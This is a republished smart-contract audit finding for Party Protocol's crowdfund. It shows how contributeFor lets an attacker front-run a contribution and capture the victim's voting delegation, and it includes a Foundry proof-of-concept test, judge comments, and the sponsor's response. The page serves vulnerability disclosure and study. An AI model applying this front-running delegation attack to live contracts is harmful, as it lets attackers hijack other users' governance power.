Skip to content
Access control Audit finding Intermediate

PartyGovernanceNFT.sol#mint - User can delegate another users funds to themselves and brick them from changing the delegation

A user can call contributeFor to set another user's delegate before that user contributes, and the mint function then overwrites the user's chosen delegate with the attacker's address. The attacker gains the victim's voting power temporarily, allowing them to influence governance until the victim re-delegates.

TresDelinquentes Follow with klau5, 0xadrii and 4 others

Originally disclosed on Code4rena

Submitted by TresDelinquentes, also found by klau5, 0xadrii, leegh, minimalproxy, rvierdiiev (1, 2), 3docSec, and mahdikarimi

The natural flow of minting a new Card is through contributing to the Crowdfund. The protocol also allows users to contributeFor in the name of someone else.

Let’s follow the flow of the contributeFor. The function immediately calls _contribute:

function _contribute(
        address payable contributor,
        address delegate,
        uint96 amount,
        uint256 tokenId,
        bytes memory gateData
    ) private returns (uint96 votingPower) {
        // Require a non-null delegate.
        if (delegate == address(0)) {
            revert InvalidDelegateError();
        }

        // Must not be blocked by gatekeeper.
        IGateKeeper _gateKeeper = gateKeeper;
        if (_gateKeeper != IGateKeeper(address(0))) {
            if (!_gateKeeper.isAllowed(msg.sender, gateKeeperId, gateData)) {
                revert NotAllowedByGateKeeperError(msg.sender, _gateKeeper, gateKeeperId, gateData);
            }
        }

        votingPower = _processContribution(contributor, delegate, amount);
        ...

Some checks are done, then we call _processContribution:

function _processContribution(
        address payable contributor,
        address delegate,
        uint96 amount
    ) internal returns (uint96 votingPower) {
        address oldDelegate = delegationsByContributor[contributor];
        if (msg.sender == contributor || oldDelegate == address(0)) {
            // Update delegate.
            delegationsByContributor[contributor] = delegate;
        } else {
            // Prevent changing another's delegate if already delegated.
            delegate = oldDelegate;
        }
     ...

Inside we see this if/else statement. It allows for anyone to set delegate for a user, but only if oldDelegate == address(0), meaning it’s never been set before. If msg.sender == contributor, they can still set the delegate to whoever they wish. Anyone else calling contributeFor after the original contributor has delegated and can’t change the delegate.

The rest of the function finishes and we go back to _contribute after which we call party.mint.

Inside mint we see the following:

        ...
        address delegate_ = delegationsByVoter[owner];
        if (delegate_ != address(0)) {
            delegate = delegate_;
        }
        ...

Here, we check if delegationsByVoter[owner] != address(0); meaning this is the first time a delegate is being set. If a delegate already exists, we set the new delegate to the old delegationsByVoter[owner]. This is where the problem lies. Note that this function doesn’t take into account if msg.sender == contributor, so once delegationsByVoter[owner] is set, there is no changing it through the mint function again.

So let’s imagine the following scenario: maxTotalContributions = 20 ether.

  1. Users already contributed 5 ether to the crowdfund.
  2. Bob decides to contribute another 15 ether to finalize it early, and sets himself as initialDelegate.
  3. Alice being malicious, front-runs Bob’s contribution with contributeFor{value: 1 }(0, payable(address(bob)), address(alice), ""); setting Bob’s delegate to herself.

At this point delegationsByVoter[bob] = alice

  1. Bob’s contribution passes, but inside mint we hit this:
        address delegate_ = delegationsByVoter[owner];
        if (delegate_ != address(0)) {
            delegate = delegate_;
        }

Since Bob already has a delegate, he can’t change it here, so Bob’s delegate gets overwritten to Alice and he is unable to change the delegate.

  1. All of Bob’s 15 ether gets delegated to Alice inside _adjustVotingPower
  2. After this, the crowdfund finalizes and the Party starts.
  3. At this point, Alice can propose/accept with a huge amount of voting power that was never intended for her and she can influence proposals that she shouldn’t be able to.
  4. Bob can get his delegation back by calling delegateVotingPower, but Alice will have enough time to influence the Party.

Note that this way a 51% attack can easily be executed by a malicious user. A malicious user can steal multiple delegates this way and influence the Party greatly.

Proof of Concept

 function _createCrowdfundWithAuthorities(
        CreateCrowdfundArgs memory args,
        bool initialize
    ) internal returns (InitialETHCrowdfund crowdfund) {
        crowdfundOpts.initialContributor = args.initialContributor;
        crowdfundOpts.initialDelegate = args.initialDelegate;
        crowdfundOpts.minContribution = args.minContributions;
        crowdfundOpts.maxContribution = args.maxContributions;
        crowdfundOpts.disableContributingForExistingCard = args.disableContributingForExistingCard;
        crowdfundOpts.minTotalContributions = args.minTotalContributions;
        crowdfundOpts.maxTotalContributions = args.maxTotalContributions;
        crowdfundOpts.duration = args.duration;
        crowdfundOpts.exchangeRateBps = args.exchangeRateBps;
        crowdfundOpts.fundingSplitBps = args.fundingSplitBps;
        crowdfundOpts.fundingSplitRecipient = args.fundingSplitRecipient;
        crowdfundOpts.gateKeeper = args.gateKeeper;
        crowdfundOpts.gateKeeperId = args.gateKeeperId;

        partyOpts.name = "Test Party";
        partyOpts.symbol = "TEST";
        partyOpts.governanceOpts.partyImpl = partyImpl;
        partyOpts.governanceOpts.partyFactory = partyFactory;
        partyOpts.governanceOpts.voteDuration = 7 days;
        partyOpts.governanceOpts.executionDelay = 1 days;
        partyOpts.governanceOpts.passThresholdBps = 0.5e4;
        partyOpts.governanceOpts.hosts = new address[](1);
        partyOpts.governanceOpts.hosts[0] = address(this);
        partyOpts.authorities = new address[](1); // Set the authority to address(this) for testing purposes
        partyOpts.authorities[0] = address(this);

        crowdfund = InitialETHCrowdfund(payable(address(initialETHCrowdfundImpl).clone()));
        if (initialize) {
            crowdfund.initialize{ value: args.initialContribution }(
                crowdfundOpts,
                partyOpts,
                MetadataProvider(address(0)),
                ""
            );
        }
    }

function test_stealingDelegations() public {
        InitialETHCrowdfund crowdfund = _createCrowdfundWithAuthorities(
            CreateCrowdfundArgs({
                initialContribution: 0,
                initialContributor: payable(address(0)),
                initialDelegate: address(0),
                minContributions: 0,
                maxContributions: type(uint96).max,
                disableContributingForExistingCard: false,
                minTotalContributions: 5 ether,
                maxTotalContributions: 20 ether,
                duration: 7 days,
                exchangeRateBps: 1e4,
                fundingSplitBps: 0,
                fundingSplitRecipient: payable(address(0)),
                gateKeeper: IGateKeeper(address(0)),
                gateKeeperId: bytes12(0)
            }), true
        );
        Party party = crowdfund.party();

        // Charlie contributes to the Crowdfund
        address charlie = _randomAddress();
        vm.deal(charlie, 10 ether);
        vm.prank(charlie);
        crowdfund.contribute{value: 5 ether }(address(charlie), "");

        address bob = _randomAddress();
        // Alice front runs Bob's contribution, setting herself as Bob's delegate
        address alice = _randomAddress();
        vm.deal(alice, 5 ether);
        vm.prank(alice);
        crowdfund.contributeFor{value: 1 }(0, payable(address(bob)), address(alice), "");

        // Bob contributes and finalizes the crowdfund, not knowing
        // that he just contributed all of his voting power to Alice
        vm.deal(bob, 15 ether);
        vm.prank(bob);
        crowdfund.contribute{value: 15 ether }(address(bob), "");

        // Here we can see that Alice has `15e18` voting power, even though she should have only `1 wei`
        assertEq(party.getVotingPowerAt(address(alice), uint40(block.timestamp)), 15 ether);
        // Even though Bob set himself as the delegate, he has 0 voting power, because his
        // delegation got overwritten
        assertEq(party.getVotingPowerAt(address(bob), uint40(block.timestamp)), 0);
    }

Tools Used

Foundry

Recommended Mitigation Steps

We recommend removing the contributeFor function.

KingNFT (lookout) commented:

Please reference:

File: contracts\party\PartyGovernance.sol
451:     function delegateVotingPower(address delegate) external {
452:         _adjustVotingPower(msg.sender, 0, delegate);
453:     }

gzeon (judge) decreased severity to Medium and commented:

The warden described a potential grieving vector where an attacker (Alice) can temporarily steal the delegation from another user (Bob) who contributed for a user (User).

The delegation power would be temporarily stolen at no cost until the User re-delegate.

arr00 (Party) confirmed and commented via duplicate issue #311:

We plan on changing documentation to make it clear that the delegates are only for initial mints. We won’t be changing the mint function as of now due to cascading issues with that.


The original report as published on Code4rena, by TresDelinquentes. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The mint function does not check whether the caller is the contributor, so it overwrites the delegate with any existing delegation set via contributeFor.

Impact

The attacker temporarily gains the victim's voting power, which could allow a 51% attack and influence governance until the victim re-delegates.

What the attacker needed

Victim has not set a delegate yet; attacker can front-run victim's contribution; attacker pays a small contribution

The fix

The project plans to update documentation to clarify that delegates are only for initial mints, rather than changing the mint function.

How it was found

  1. Charlie contributes 5 ether to the crowdfund.
  2. Alice front-runs Bob's contribution by calling contributeFor with 1 wei, setting Bob's delegate to herself.
  3. Bob contributes 15 ether, which finalizes the crowdfund.
  4. The mint function sees Bob already has a delegate (Alice) and keeps it, so Bob's voting power goes to Alice.
  5. Alice now has 15 ether of voting power and can influence proposals.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In this system, when you put money into a crowdfund, you can choose someone to vote on your behalf. The code lets anyone set that person for you if you haven't already chosen one. An attacker can set themselves as your delegate just before you contribute, and then your own contribution is forced to give your voting power to the attacker.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by TresDelinquentes

View all

4 more disclosed reports, best first.

More from Party Protocol

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.